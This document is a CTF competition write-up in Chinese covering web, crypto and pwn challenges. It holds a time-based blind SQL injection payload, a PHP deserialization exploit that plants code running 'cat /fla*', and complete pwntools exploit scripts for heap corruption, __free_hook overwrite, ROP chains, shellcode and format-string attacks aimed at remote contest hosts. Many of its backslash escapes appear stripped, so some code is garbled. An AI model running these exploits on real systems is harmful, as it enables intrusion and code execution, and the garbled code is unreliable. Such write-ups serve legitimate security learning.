Web
0x01 sql
fuzz:
0 200 false false 1063
1 length 200 false false 1018
2 + 200 false false 1063
3 handler 200 false false 1018
4 like 200 false false 1018
5 select 200 false false 1018
6 sleep 200 false false 1063
7 database 200 false false 1063
8 delete 200 false false 1018
9 having 200 false false 1063
10 or 200 false false 1063
11 as 200 false false 1063
12 -~ 200 false false 1018
13 BENCHMARK 200 false false 1063
14 limit 200 false false 1063
15 left 200 false false 1063
16 select 200 false false 1018
17 insert 200 false false 1063
18 sys.schema_auto_increment_columns 200 false false 1063
19 join 200 false false 1063
20 right 200 false false 1063
21 # 200 false false 1063
22 & 200 false false 1063
23 && 200 false false 1063
24 200 false false 1063
25 handler 200 false false 1018
26 -- - 200 false false 1018
27 -- 200 false false 1018
28 --+ 200 false false 1018
29 INFORMATION 200 false false 1063
30 -- 200 false false 1018
31 ; 200 false false 1018
32 ! 200 false false 1063
33 % 200 false false 1063
34 + 200 false false 1063
35 xor 200 false false 1063
36 <> 200 false false 1018
37 ( 200 false false 1063
38 > 200 false false 1018
39 < 200 false false 1018
40 ) 200 false false 1063
41 . 200 false false 1063
42 ^ 200 false false 1063
43 = 200 false false 1018
44 AND 200 false false 1018
45 BY 200 false false 1063
46 CAST 200 false false 1063
47 COLUMN 200 false false 1063
48 COUNT 200 false false 1063
49 CREATE 200 false false 1063
50 END 200 false false 1063
51 case 200 false false 1063
52 '1'='1 200 false false 1018
53 when 200 false false 1063
54 admin' 200 false false 1018
55 " 200 false false 1018
56 length 200 false false 1018
57 + 200 false false 1063
58 length 200 false false 1063
59 REVERSE 200 false false 1063
60 ascii 200 false false 1018
61 select 200 false false 1018
62 database 200 false false 1063
63 left 200 false false 1063
64 right 200 false false 1063
65 ' 200 false false 1018
66 union 200 false false 1018
67 || 200 false false 1063
68 oorr 200 false false 1063
69 / 200 false false 1063
70 // 200 false false 1063
71 //* 200 false false 1063
72 */* 200 false false 1063
73 /**/ 200 false false 1063
74 anandd 200 false false 1018
75 GROUP 200 false false 1063
76 HAVING 200 false false 1063
77 IF 200 false false 1018
78 INTO 200 false false 1018
79 JOIN 200 false false 1063
80 LEAVE 200 false false 1063
81 LEFT 200 false false 1063
82 LEVEL 200 false false 1063
83 sleep 200 false false 1063
84 LIKE 200 false false 1018
85 NAMES 200 false false 1063
86 NEXT 200 false false 1063
87 NULL 200 false false 1063
88 OF 200 false false 1063
89 ON 200 false false 1063
90 | 200 false false 1063
91 infromation_schema 200 false false 1063
92 user 200 false false 1063
93 OR 200 false false 1063
94 ORDER 200 false false 1063
95 ORD 200 false false 1063
96 SCHEMA 200 false false 1063
97 SELECT 200 false false 1018
98 SET 200 false false 1063
99 TABLE 200 false false 1063
100 THEN 200 false false 1063
101 UPDATE 200 false false 1063
102 USER 200 false false 1063
103 USING 200 false false 1063
104 VALUE 200 false false 1063
105 VALUES 200 false false 1063
106 WHEN 200 false false 1063
107 WHERE 200 false false 1018
108 ADD 200 false false 1063
109 AND 200 false false 1018
110 prepare 200 false false 1063
111 set 200 false false 1063
112 update 200 false false 1063
113 delete 200 false false 1018
114 drop 200 false false 1063
115 inset 200 false false 1063
116 CAST 200 false false 1063
117 COLUMN 200 false false 1063
118 CONCAT 200 false false 1063
119 GROUP_CONCAT 200 false false 1063
120 group_concat 200 false false 1063
121 CREATE 200 false false 1063
122 DATABASE 200 false false 1063
123 DATABASES 200 false false 1063
124 alter 200 false false 1063
125 DELETE 200 false false 1018
126 DROP 200 false false 1063
127 floor 200 false false 1063
128 rand() 200 false false 1018
129 information_schema.tables 200 false false 1063
130 TABLE_SCHEMA 200 false false 1063
131 %df 200 false false 1063
132 concat_ws() 200 false false 1063
133 concat 200 false false 1063
134 LIMIT 200 false false 1063
135 ORD 200 false false 1063
136 ON 200 false false 1063
137 extractvalue 200 false false 1063
138 order 200 false false 1018
139 CAST() 200 false false 1063
140 by 200 false false 1063
141 ORDER 200 false false 1063
142 OUTFILE 200 false false 1018
143 RENAME 200 false false 1063
144 REPLACE 200 false false 1063
145 SCHEMA 200 false false 1063
146 SELECT 200 false false 1018
147 SET 200 false false 1063
148 updatexml 200 false false 1063
149 SHOW 200 false false 1063
150 SQL 200 false false 1063
151 TABLE 200 false false 1063
152 THEN 200 false false 1063
153 TRUE 200 false false 1063
154 instr 200 false false 1063
155 benchmark 200 false false 1063
156 format 200 false false 1063
157 bin 200 false false 1063
158 substring 200 false false 1018
159 ord 200 false false 1063
160 UPDATE 200 false false 1063
161 VALUES 200 false false 1063
162 VARCHAR 200 false false 1063
163 VERSION 200 false false 1063
164 WHEN 200 false false 1063
165 WHERE 200 false false 1018
166 /* 200 false false 1063
167 ` 200 false false 1063
168 , 200 false false 1063
169 users 200 false false 1063
170 %0a 200 false false 1063
171 %0b 200 false false 1063
172 mid 200 false false 1018
173 for 200 false false 1063
174 BEFORE 200 false false 1063
175 REGEXP 200 false false 1063
176 RLIKE 200 false false 1018
177 in 200 false false 1063
178 sys schemma 200 false false 1018
179 SEPARATOR 200 false false 1063
180 XOR 200 false false 1063
181 CURSOR 200 false false 1063
182 FLOOR 200 false false 1063
183 sys.schema_table_statistics_with_buffer 200 false false 1063
184 INFILE 200 false false 1063
185 count 200 false false 1063
186 %0c 200 false false 1063
187 from 200 false false 1063
188 %0d 200 false false 1063
1063的都可以用
hex(hex())双重编码,时间盲注case when
"password": "||/**/case/**/when(left(hex(hex(password)),{})/**/regexp/**/binary/**/{})then/**/sleep(2)/**/else/**/0/**/end#".format(i, tmp)
admin/This_1s_thE_Passw0rd
0x02 easytricks
在 /admin/admin.rar 中找到源码,其中关键在 preload.php:
<?php
error_reporting(0);
session_save_path('session');
session_start();
class preload{
public $class;
public $contents;
public $method;
public function __construct(){
$this->class="<?php class hacker{public function hack(){echo 'hack the hack!I believe you can!';}}$hack=";
$this->contents="new hacker();";
$this->method="$hack->hack();";
}
public function waf($parm){
$blacklist="/flag|pcntl|system|exec|fread|file|fpassthru|popen|proc|ld|putenv|passthru|`|.|\|#|\$|[0-9]|_|get|~|\^|eval|assert|open|write|include|require/is";
return preg_match($blacklist,$parm);
}
public function write(){
if($this->waf($this->contents)||strlen($this->contents)>60||preg_match_all('/\(/i',$this->contents,$matches)>2||preg_match_all('/\)/i',$this->contents,$matches)>2){
die("<br>"."no no no");
}
if(preg_match_all('/;/i',$this->contents,$matches)>2){
die("<br>"."try hard");
}
if(file_exists(dirname(__FILE__)."/hack.php")){
unlink(dirname(__FILE__)."/hack.php");
}
file_put_contents(dirname(__FILE__)."/hack.php",$this->class);
file_put_contents(dirname(__FILE__)."/hack.php",$this->contents,FILE_APPEND);
file_put_contents(dirname(__FILE__)."/hack.php",$this->method,FILE_APPEND);
}
public function __wakeup(){
$this->class="<?php class hacker{public function hack(){echo 'hack the hack!I believe you can!';}}$hack=";
$this->method="$hack->hack();";
}
public function __destruct(){
$this->write();
}
}
$a=$_POST['a'];
unserialize($a);
$preload=new preload();
?>
<a href="./hack.php">hack.php</a>
通过 $a 的反序列化可以控制 hack.php 的内容,构造 exp 如下:
<?php
error_reporting(0);
session_save_path('session');
session_start();
class preload{
public $class;
public $contents;
public $method;
public function __construct(){
$this->class="<?php class hacker{public function hack(){echo 'hack the hack!I believe you can!';}}$hack=";
$this->contents="new hacker();";
$this->method="$hack->hack();";
}
public function waf($parm){
$blacklist="/flag|pcntl|system|exec|fread|file|fpassthru|popen|proc|ld|putenv|passthru|`|.|\|#|\$|[0-9]|_|get|~|\^|eval|assert|open|write|include|require/is";
return preg_match($blacklist,$parm);
}
public function write(){
if($this->waf($this->contents)){
die("waf");
}
if(strlen($this->contents)>60){
die("2");
}
if(preg_match_all('/\(/i',$this->contents,$matches)>2){
die("3");
}
if(preg_match_all('/\)/i',$this->contents,$matches)>2){
die("4");
}
if(preg_match_all('/;/i',$this->contents,$matches)>2){
die("<br>"."try hard");
}
if(file_exists(dirname(__FILE__)."/hack.php")){
unlink(dirname(__FILE__)."/hack.php");
}
file_put_contents(dirname(__FILE__)."/hack.php",$this->class);
file_put_contents(dirname(__FILE__)."/hack.php",$this->contents,FILE_APPEND);
file_put_contents(dirname(__FILE__)."/hack.php",$this->method,FILE_APPEND);
}
public function __wakeup(){
$this->class="<?php class hacker{public function hack(){echo 'hack the hack!I believe you can!';}}$hack=";
$this->method="$hack->hack();";
}
public function __destruct(){
$this->write();
}
}
$a =new preload();
$a->contents = "'a'?><?php ['a'=>'systam'|'systdm']['a']('cat /fla*');";
$b = urlencode(serialize($a));
print_r($b);
//$a=$_POST['a'];
//unserialize($b);
//$preload=new preload();
# O%3A7%3A%22preload%22%3A3%3A%7Bs%3A5%3A%22class%22%3Bs%3A90%3A%22%3C%3Fphp+class+hacker%7Bpublic+function+hack%28%29%7Becho+%27hack+the+hack%21I+believe+you+can%21%27%3B%7D%7D%24hack%3D%22%3Bs%3A8%3A%22contents%22%3Bs%3A54%3A%22%27a%27%3F%3E%3C%3Fphp+%5B%27a%27%3D%3E%27systam%27%7C%27systdm%27%5D%5B%27a%27%5D%28%27cat+%2Ffla%2A%27%29%3B%22%3Bs%3A6%3A%22method%22%3Bs%3A14%3A%22%24hack-%3Ehack%28%29%3B%22%3B%7D
利用 burp 模块进行条件竞争,不断向 hack.php 写入内容,即可成功执行:
Crypto
0x01 easy_RSA
第一步搜rsa padding attack,找到这篇文章https://www.anquanke.com/post/id/158944,直接用里面的脚本。
import gmpy2
import libnum
from Crypto.Util.number import *
n=0x9371c61a2b760109781f229d43c6f05b58de65aa2a674ff92334cb5219132448d72c1293c145eb6f35e58791669f2d8d3b6ce506f4b3543beb947cf119f463a00bd33a33c4d566c4fd3f4c73c697fa5f3bf65976284b9cc96ec817241385d480003cdda9649fa0995b013e66f583c9a9710f7e18396fbf461cb31720f94a0f79L
e=0x3
#encrypt(m):
c_pad=0x5f4e03f28702208b215f39f1c8598b77074bfa238dfb9ce424af7cc8a61f7ea48ffbbd5a5e1a10f686c3f240e85d011f6c8b968d1d607b2e1d5a78ad6947b7d3ec8f33ad32489befab601fe745164e4ff4aed7630da89af7f902f6a1bf7266c9c95b29f2c69c33b93a709f282d43b10c61b1a1fe76f5fee970780d7512389fd1L
c_pad_add_1=0x5f4e03f28702208b215f39f1c8598b77074bfa238dfb9ce424af7cc8a61f7ea48ffc5c26b0c12bcff9f697f274f59f0e55a147768332fc1f1bac5bbc8f9bb508104f232bdd20091d26adc52e36feda4a156eae7dce4650f83fabc828fdcfb01d25efb98db8b94811ca855a6aa77caff991e7b986db844ff7a140218449aaa7e8L
c1 =c_pad
c2 = c_pad_add_1
m2 = (-3*c2-3)/(c1-c2-2)%n-1
# print(m2)
def getM2(a,b,c1,c2,n):
a3 = pow(a,3,n)
b3 = pow(b,3,n)
first = c1-a3*c2+2*b3
first = first % n
second = 3*b*(a3*c2-b3)
second = second % n
third = second*gmpy2.invert(first,n)
third = third % n
fourth = (third+b)*gmpy2.invert(a,n)
return fourth % n
m = getM2(1,-1,c1,c2,n)
print libnum.n2s(m)
解出key : everything_is_easy_in_this_questioo,最后一个字母改成n
第二步找到这篇文章http://dann.com.br/alexctf2k17-crypto100-many_time_secrets/,利用里面的脚本,求解得到key是u*t**imple encrypzi*n.I h*,没有解出的五位根据下面的脚本对flag{}的格式进行爆破,得到flag是flag{it_1s_P@dd1nQ@+d_p@d},但此时提交不正确,猜测是脚本有一点问题,找到网上另一篇题解https://www.jianshu.com/p/a00157b981b5,参考文章,使用这个工具计算flag,发现是字母Q这里应该换成下划线,更换后提交。
flag{it_1s_P@dd1n_@nd_p@d}
#!/usr/bin/python
## OTP - Recovering the private key from a set of messages that were encrypted w/ the same private key (Many time pad attack) - crypto100-many_time_secret @ alexctf 2017
# @author intrd - http://dann.com.br/
# Original code by jwomers: https://github.com/Jwomers/many-time-pad-attack/blob/master/attack.py)
import string
import collections
import sets, sys
# 11 unknown ciphertexts (in hex format), all encrpyted with the same key
c1="280316470206017f5f163a3460100b111b2c254e103715600f13"
c2="091b0f471d05153811122c70340c0111053a394e0b39500f0a18"
c3="4638080a1e49243e55531a3e23161d411a362e4044111f374409"
c4="0e0d15470206017f59122935601405421d3a244e10371560140f"
c5="031a08080e1a540d62327f242517101d4e2b2807177f13280511"
c6="0a090f001e491d2c111d3024601405431a36231b083e022c1d"
c7="16000406080c543854077f24280144451c2a254e093a0333051a"
c8="02050701120a01334553393f32441d5e1b716027107f19334417"
c9="131f15470800192f5d167f352e0716481e2b29010a7139600c12"
c10="1609411e141c543c501d7f232f0812544e2b2807177f00320b1f"
c11="0a090c470a1c1d3c5a1f2670210a0011093a344e103715600712"
c12="141e04040f49153142043a22601711520d3a331d0826"
ciphers = [c1, c2, c3, c4, c5, c6, c7, c8, c9, c10, c11,c12]
# The target ciphertext we want to crack
# target_cipher = "2239373d6f740a1e3c651f207f2c212a247f3d2e65262430791c"
target_cipher="131f15470800192f5d167f352e0716481e2b29010a7139600c12"
# XORs two string
def strxor(a, b): # xor two strings (trims the longer input)
return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a, b)])
# To store the final key
final_key = [None]*150
# To store the positions we know are broken
known_key_positions = set()
# For each ciphertext
for current_index, ciphertext in enumerate(ciphers):
counter = collections.Counter()
# for each other ciphertext
for index, ciphertext2 in enumerate(ciphers):
if current_index != index: # don't xor a ciphertext with itself
for indexOfChar, char in enumerate(strxor(ciphertext.decode('hex'), ciphertext2.decode('hex'))): # Xor the two ciphertexts
# If a character in the xored result is a alphanumeric character, it means there was probably a space character in one of the plaintexts (we don't know which one)
if char in string.printable and char.isalpha(): counter[indexOfChar] += 1 # Increment the counter at this index
knownSpaceIndexes = []
# Loop through all positions where a space character was possible in the current_index cipher
for ind, val in counter.items():
# If a space was found at least 7 times at this index out of the 9 possible XORS, then the space character was likely from the current_index cipher!
if val >= 7: knownSpaceIndexes.append(ind)
#print knownSpaceIndexes # Shows all the positions where we now know the key!
# Now Xor the current_index with spaces, and at the knownSpaceIndexes positions we get the key back!
xor_with_spaces = strxor(ciphertext.decode('hex'),' '*150)
for index in knownSpaceIndexes:
# Store the key's value at the correct position
final_key[index] = xor_with_spaces[index].encode('hex')
# Record that we known the key at this position
known_key_positions.add(index)
# Construct a hex key from the currently known key, adding in '00' hex chars where we do not know (to make a complete hex string)
final_key_hex = ''.join([val if val is not None else '00' for val in final_key])
# Xor the currently known key with the target cipher
output = strxor(target_cipher.decode('hex'),final_key_hex.decode('hex'))
print "Fix this sentence:"
print ''.join([char if index in known_key_positions else '*' for index, char in enumerate(output)])+"n"
# WAIT.. MANUAL STEP HERE
# This output are printing a * if that character is not known yet
# fix the missing characters like this: "Let*M**k*ow if *o{*a" = "cure, Let Me know if you a"
# if is too hard, change the target_cipher to another one and try again
# and we have our key to fix the entire text!
#sys.exit(0) #comment and continue if u got a good key
# target_plaintext = "cure, Let Me know if you a"
# u*t**imple encrypzi*n.I h*
import string
allstr = string.printable
for i in allstr:
target_plaintext="ust simple encrypzi*n.I h"+i
print "Fixed:"
print target_plaintext+"n"
key = strxor(target_cipher.decode('hex'),target_plaintext)
print "Decrypted msg:"
for cipher in ciphers:
print strxor(cipher.decode('hex'),key)
print "nPrivate key recovered: "+key+"n"
if key[-1]=="}":
print(target_plaintext)
print(key)
exit()
0x02 random
多次连接发现接收的数据相同,则得到e*d+n ,e*d-n ,进而得到 e*d和 n。枚举 e*d-1的因数可测试出 phi = (p-1)(q-1),进而得到p,q ,对e*d枚举因数多次nc,得到正确的pow(m,d,p),进而得到LCG数据,根据博客,得到种子,即为flag。
计算pq
from Crypto.Util.number import long_to_bytes, bytes_to_long
import gmpy2
edn = 35633297540489769466037294664262360520001411667008399033232552682031857090204944 50173369806214666850943076188175778667508946270492708397447950521732324059148390 23274401100006598286597419498672673963809756630313557307211444861509526206655475 1858952042395375417151593676621825939069783767865138657768553767717034970
ednn = 35631217189172345887237864632755558268752323806911659190337189249584063538108134 80184744219046717838078497090403751007254545187720107602959381881715875898243474 50499976020813319257281211096714247461936665050494861963790965372337691717445609 1396220576841259798792078769198369072982063716206690589554604992470787752
ed = (edn+ednn)//2
n = (edn-ednn)//2
edList =
[3,47,97,157,1601,21851,56277292709098311733,84286300324968247236687711962779140
77842272122058263697702412416241025992336238949565154890382002318828235157962757
20517565796868777565634050439841286136730958498908985484216812390745790379384069
38069485948631294667674820846908004655933214939411028342686116344458614861246169
6703]
ed1List =
[2,2,2,2,2,2,5,11,17,593,2141,58248779,506586621329,1589424300804567534454861989
21683336415001647207568053249290557899791837666866810064295824973466622742557532
25767193339476089234290675135122447786154431669005157298044855577315882835787840
15685489209668197395923452547483745994366016185699283739011389265875964553320774
201026175906413]
for i in range(pow(2,len(ed1List))): q=i
phi = 1
for j in ed1List:
if q&1:
phi *= j
q >>=1
ppq = n-phi+1
pnq = gmpy2.iroot(pow(ppq,2)-4*n,2)
if pnq[1]:
pnq=pnq[0]
p=(ppq+pnq)//2
q=ppq-p
print('p = ',p)
print('q = ',q)
# q= 94730168019517977712678464454597384739734215880581406952530315117004075339358723 97264731631901174665159278878658035094231228063878480145556088206641042779
# p= 10980405508174271259925333166343579553719061316941945190323939083665489902286168 861229664589365210026388298173482496757264697996404794685064674668272479771
# phi = (p-1)*(q-1)
爆破d
from zio3 import *
from Crypto.Util.number import long_to_bytes, bytes_to_long
edList = [3,47,97,157,1601,21851,56277292709098311733,84286300324968247236687711962779140 77842272122058263697702412416241025992336238949565154890382002318828235157962757 20517565796868777565634050439841286136730958498908985484216812390745790379384069 38069485948631294667674820846908004655933214939411028342686116344458614861246169 6703]
p= 94730168019517977712678464454597384739734215880581406952530315117004075339358723 97264731631901174665159278878658035094231228063878480145556088206641042779
q= 10980405508174271259925333166343579553719061316941945190323939083665489902286168 861229664589365210026388298173482496757264697996404794685064674668272479771
m = bytes_to_long('you_can_get_more_message'.encode())
for i in range(pow(2,len(edList))):
target=('47.105.112.9',1123)
io = zio(target, timeout=1000000, print_read=COLORED(RAW,'red'), print_write=COLORED(RAW,'green')
io.read_until('enter sign:n')
d=1
q1 = i
for h in edList:
if q1&1:
d*=h
q1>>=1
C = pow(m,d,p)
io.writeline(str(C))
sss = io.read_until('n')
if sss !=b'errorn':
break
io.interact()
# LCG has 10 consecutive outputs:
#[
# 37320746167162382008737601995835865853800504134642478065811649943286693628056858 31589304096519259751316788496505512L,
# 88902041000264323477459555253102882191053984787875372876502670158733959793189887 53693294398552098138526129849364748L,
# 34430723154151982098070836083779731771017099111558149868833685511625728893692887 98755476092593196361644768257296318L,
# 45052780899086333198979646551648105262409824065027902292470080996003766614757103 76587203809096899113787029887577355L,
# 90596462732910991759553719694135555919343182891568023149671321957526925492635324 07952697867959054045527470269661073L,
# 30850240633816483267886772941685916754233022860262714418488563690325820495129154 65082428729187341510738008226870900L,
# 82960289842885591549284426223416163762932058347165077665007704822619734240441110 61163369828951815135486853862929166L,
# 22587502599543631714264155611455791355111273361426263060218689720644347420923926 44953647611210700787749996466767026L,
# 43821231300349445426551565750007108510788422953673539431995128785146394347701616 02326115915913531417058547954936492L,
# 10982933598223427852005472748543379913601896398647811680964579161339128908976511 173382896549104296031483243900943925L
#]
获得seed
from functools import reduce
from Crypto.Util.number import GCD,inverse,long_to_bytes
dataList = [ 37320746167162382008737601995835865853800504134642478065811649943286693628056858 31589304096519259751316788496505512, 88902041000264323477459555253102882191053984787875372876502670158733959793189887 53693294398552098138526129849364748, 34430723154151982098070836083779731771017099111558149868833685511625728893692887 98755476092593196361644768257296318, 45052780899086333198979646551648105262409824065027902292470080996003766614757103 76587203809096899113787029887577355, 90596462732910991759553719694135555919343182891568023149671321957526925492635324 07952697867959054045527470269661073, 30850240633816483267886772941685916754233022860262714418488563690325820495129154 65082428729187341510738008226870900, 82960289842885591549284426223416163762932058347165077665007704822619734240441110 61163369828951815135486853862929166, 22587502599543631714264155611455791355111273361426263060218689720644347420923926 44953647611210700787749996466767026, 43821231300349445426551565750007108510788422953673539431995128785146394347701616 02326115915913531417058547954936492, 10982933598223427852005472748543379913601896398647811680964579161339128908976511 173382896549104296031483243900943925
]
def crack_unknown_increment(states, modulus, multiplier):
increment = (states[1] - states[0]*multiplier) % modulus return modulus, multiplier, increment
def crack_unknown_multiplier(states, modulus):
multiplier = (states[2] - states[1]) * inverse(states[1] - states[0], modulus) % modulus # 注意这里求逆元
return crack_unknown_increment(states, modulus, multiplier)
def crack_unknown_modulus(states):
diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])] modulus = abs(reduce(GCD, zeroes))
return crack_unknown_multiplier(states, modulus)
m,a,b = crack_unknown_modulus(dataList)
inva = inverse(a,m)
cipher = (inva*(dataList[0]-b+m)%m)%m
print(long_to_bytes(cipher))
flag:flag{Y0u_K0nw_everyTh1ng_1$_e@sy}
0x03 RSAsig
查看RSAsig.py,发现使用了RSA公钥体系,且直接暴露flag密文和任意明文的签名,则用flag密文让其签名即可得到flag明文。
from zio3 import *
from Crypto.Util.number import long_to_bytes, bytes_to_long
import hashlib
import string
from Crypto.PublicKey import RSA
import Crypto.Util.number
from base64 import *
from Crypto import Random
target=('47.105.112.9',34521)
io = zio(target, timeout=1000000, print_read=COLORED(RAW,'red'),
print_write=COLORED(RAW,'green'))
io.read_until('sha224(XXX+')
plain_bk = io.read_until(')')[:-1]
io.read_until('== ')
cipher = io.read_until('n')[:-1]
plain_ft = ''
zd = string.ascii_letters+string.digits
for i in zd:
for j in zd:
for k in zd:
plain_ft = i+j+k
sha224 = hashlib.sha224(plain_ft.encode()+plain_bk)
if sha224.hexdigest() == cipher.decode():
io.writeline(plain_ft)
break
io.read_until("choice?n")
io.writeline('1')
rsa_cipher = b64decode(io.read_until('n')[:-1])
rsa_cipher = bytes_to_long(rsa_cipher)
io.read_until("choice?n")
io.writeline('2')
io.writeline(str(rsa_cipher))
io.read_until("sign?n")
rsa_plain = io.read_until("n")[:-1]
rsa_plain = int(rsa_plain.decode())
print(long_to_bytes(rsa_plain))
io.interact()
0x04 random1
打开chage.py,发现其为种子生成sbox和lfsr复合加密。通过change2信息逆向lfsr解密key_read,然后发现使用sbox是与明文异或,则枚举global x(256)即可得到明文。
ps:chage.py怎么回事,跟个假的一样。。。lfsr不能得到change2,甚至会出现%0 。。。
解密key_read代码:
basic_mask = 0xffffffff
def lfsr(R,mask):
output = (R << 1) & basic_mask
i=(R&mask)&basic_mask
lastbit=0
while i!=0:
lastbit^=(i&1)
i=i>>1
output^=lastbit
return (output,lastbit)
mask = '10100100000010000000100010010001'
mask=bin(0b10100100000010000000100010010001&basic_mask)[2:]
masklist = [int(i) for i in mask][::-1]
sb = bin(0xE1A4E7f6)[2:][:len(masklist)]
sblist = [int(i) for i in sb][::-1]
print(sblist)
print(masklist)
for i in range(len(masklist)):
ans = sblist[i]
for j in range(len(masklist)-1):
if sblist[i+j+1]+masklist[j]==2:
ans ^=1
sblist.append(ans)
print(sblist)
totl = sblist[::-1][:len(sblist)-len(masklist)]
totl = [str(i) for i in totl]
totl = int(''.join(totl),2)+0b00000000000000000000000000000000
# totl = 0x303C4BC183AB
print(hex(totl)[2:])
mask=0b10100100000010000000100010010001
for i in range(100):
tmp=0
for j in range(8):
(totl,out)=lfsr(totl,mask)
tmp=(tmp << 1)^out
print(hex(tmp)[2:],end=' ')
# key_read = 0x1afea246
解密密文代码:
key_read = '0x1afea246'
from base64 import b64decode, b64encode
global x,Nflag:flag{RC#_0r_Lf$r_666}
N=100
def s_box_a(x):
s=[]
for i in range(x):
s.append(i)
return s
def key_padding(key,x):
k=[0]*x
for i in range(x):
k[i]=key[(i)% len(key)]
return k
def s_box(s,key,x):
j=0
for i in range(x):
j=(j+s[i]+ord(key[i]))%x
s[j],s[i]=s[i],s[j]
return s
def main():
key1=key_read
messages = b64decode('WCbeI/BfRYydhk43yF1MIdOk4zPV')
mask=0b10100100000010000000100010010001
for xi in range(len(messages)+1,300):
x = xi
key=[c for c in key1]
key=key_padding(key,x)
sbox=s_box(s_box_a(x),key,x)
i=j=0
c=""
for xj in range(len(messages)):
i = i+1
j = (j+sbox[i])%x
sbox[i],sbox[j]=sbox[j],sbox[i]
t=(sbox[i]+sbox[j])%(x//2)
c+=chr(messages[xj]^sbox[t])
if c.startswith('flag{'):
print(x,c)
main()
Pwn
0x01 babyfocal
from pwn import *
def add(idx, size):
p.sendlineafter(">> ", "1")
p.sendlineafter(">> ", str(idx))
p.sendlineafter(">> ", str(size))
def edit(idx, content):
p.sendlineafter(">> ", "2")
p.sendlineafter(">> ", str(idx))
p.sendafter(">> ", content)
def free(idx):
p.sendlineafter(">> ", "3")
p.sendlineafter(">> ", str(idx))
while 1:
p = process("./baby_focal1")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p.sendlineafter("name: ", "111")
for i in range(7):
add(0, 0x68)
free(0)
for i in range(7):
add(0, 0xf0)
free(0)
for i in range(7):
add(0, 0x80)
free(0)
add(0, 0x68)
add(1, 0x88)
add(2, 0x28)
edit(0, p64(0)+p64(0x61)+p64(0x404060-0x18)+p64(0x404060-0x10)+b"a"*0x40+p64(0x60)+p64(0x90)+b'n')
free(1)
add(1, 0xe0)
add(1, 0x28)
add(2, 0x88)
add(3, 0x68)
add(4, 0x508)
free(3)
edit(1, b"A"*0x28+p64(0x101)+b'n')
free(2)
add(2, 0x88)
edit(2, b"A"*0x88+p64(0x71)+b'x5dxd6n')
add(3, 0x68)
add(3, 0x68)
try:
edit(3, b"x00"*0x33+p64(0xfbad1800)+b'x00'*0x19+b'n')
libc.address = u64(p.recvuntil("x7f")[-6:]+b'x00'*2)-0x00007ffff7fac980+0x7ffff7dc1000
print(hex(libc.address))
edit(0, b"A"*0x18+p64(0x404070)+p64(0x10)+p64(libc.sym['__free_hook'])+p64(0x10)+p64(0x4040a0)+b'n')
edit(1, p64(0x0000000000401130)+b'n')
free(2)
p.recvuntil("n")
heap = u64(p.recvuntil("n",drop=True).ljust(8, b'x00'))
print(hex(heap))
edit(1, p64(libc.address+0x0000000000154930)+b'n')
payload = p64(0)+p64(heap)+p64(0)*2+p64(libc.address+0x580dd)+b'x00'*0x78+p64(heap+0xb0)
rop = p64(libc.address+0x26b72)+p64(heap+0x150)+p64(libc.address+0x0000000000027529)+p64(0)+p64(libc.sym['open'])
rop += p64(libc.address+0x26b72)+p64(3)+p64(libc.address+0x0000000000027529)+p64(heap)+p64(libc.address+0x000000000011c371)+p64(0x30)+p64(0)+p64(libc.sym['read'])
rop += p64(libc.address+0x26b72)+p64(1)+p64(libc.address+0x0000000000027529)+p64(heap)+p64(libc.address+0x000000000011c371)+p64(0x30)+p64(0)+p64(libc.sym['write'])
edit(4, payload+rop+b'./flagx00'+b'n')
free(4)
p.interactive()
except:
p.close()
0x02 zlink
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.arch = 'amd64'
libc = ELF("./libc.so.6")
p = remote("115.28.187.226", 22435)
def add(idx, size, content="a"):
p.sendlineafter(":", "1")
p.sendlineafter(":", str(idx))
p.sendlineafter(": ", str(size))
p.sendafter(":", content)
def show(idx):
p.sendlineafter(":", "5")
p.sendlineafter(":", str(idx))
def edit(idx, content):
p.sendlineafter(":", "6")
p.sendlineafter(":", str(idx))
p.sendafter(":", content)
def free(idx):
p.sendlineafter(":", "2")
p.sendlineafter(":", str(idx))
def exp():
p.sendlineafter(":", "4")
add(0, 0x28, p64(0)+p64(0x21)+p64(0)+p64(0x21))
free(14)
add(1, 0x48)
show(1)
p.recvuntil("Content : ")
libc.address = u64(p.recv(6)+'x00'*2)-0x00007ffff7dd1c61+0x7ffff7a0d000
print hex(libc.address)
add(2, 0x38)
add(10, 0x68, p64(libc.address+0x3c4b80-0x18)+p64(libc.address+0x3c4b80-0x10))
edit(15, "x00"*0x4f0+p64(0)+p64(0x21))
free(15)
add(3, 0x68)
add(4, 0x68)
free(3)
free(4)
free(10)
add(3, 0x68, p64(libc.sym['__free_hook']-0x18))
add(4, 0x68)
add(5, 0x68)
add(6, 0x68, "x00"*8+p64(libc.sym['setcontext']+53))
add(7, 0x50)
add(8, 0x70, "A"*0x8+p64(0)+p64(libc.address+0x3c6000)+p64(0)+p64(0)+p64(0x100)+p64(0)*2+p64(libc.address+0x3c6000)+p64(libc.address+0xbc3f5))
#gdb.attach(p, "b free")
free(7)
pause()
payload = [
libc.address + 0x0000000000021112,
libc.address + 0x3c6000,
libc.address + 0x00000000000202f8,
0x2000,
libc.address + 0x0000000000001b92,
7,
libc.address + 0x000000000003a738,
10,
libc.address + 0x00000000000bc3f5,
libc.address + 0x0000000000002a71
]
shellcode = asm('''
sub rsp, 0x800
push 0x67616c66
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall
mov edi, eax
mov rsi, rsp
mov edx, 0x30
xor eax, eax
syscall
mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall
''')
p.send(flat(payload) + shellcode)
p.interactive()
if __name__ == '__main__':
exp()
0x03 blind
from pwn import *
context.arch = 'amd64'
p = remote("115.28.187.226", 12435)
p.sendafter("n", "%"+str(0x2b3)+"c%26$hn"+p64(0x400913))
pause()
rop1 = [
0x400a43,
0,
0x400a41,
0x601028,
0,
0x400690,
]
rop2 = [
0x400a43,
0,
0x400a41,
0x601800,
0,
0x400690
]
rop3 = [
0x400a3a,
0,
0,
0x601808,
0,
0,
0x601800,
0x400a20
]
p.send("a"*0x38+flat(rop1)+flat(rop2)+flat(rop3))
pause()
p.send("xee")
pause()
payload = "/bin/shx00"+p64(0x400680)
p.send(payload.ljust(59, "x00"))
p.interactive()
Reverse
0x01 100mazes
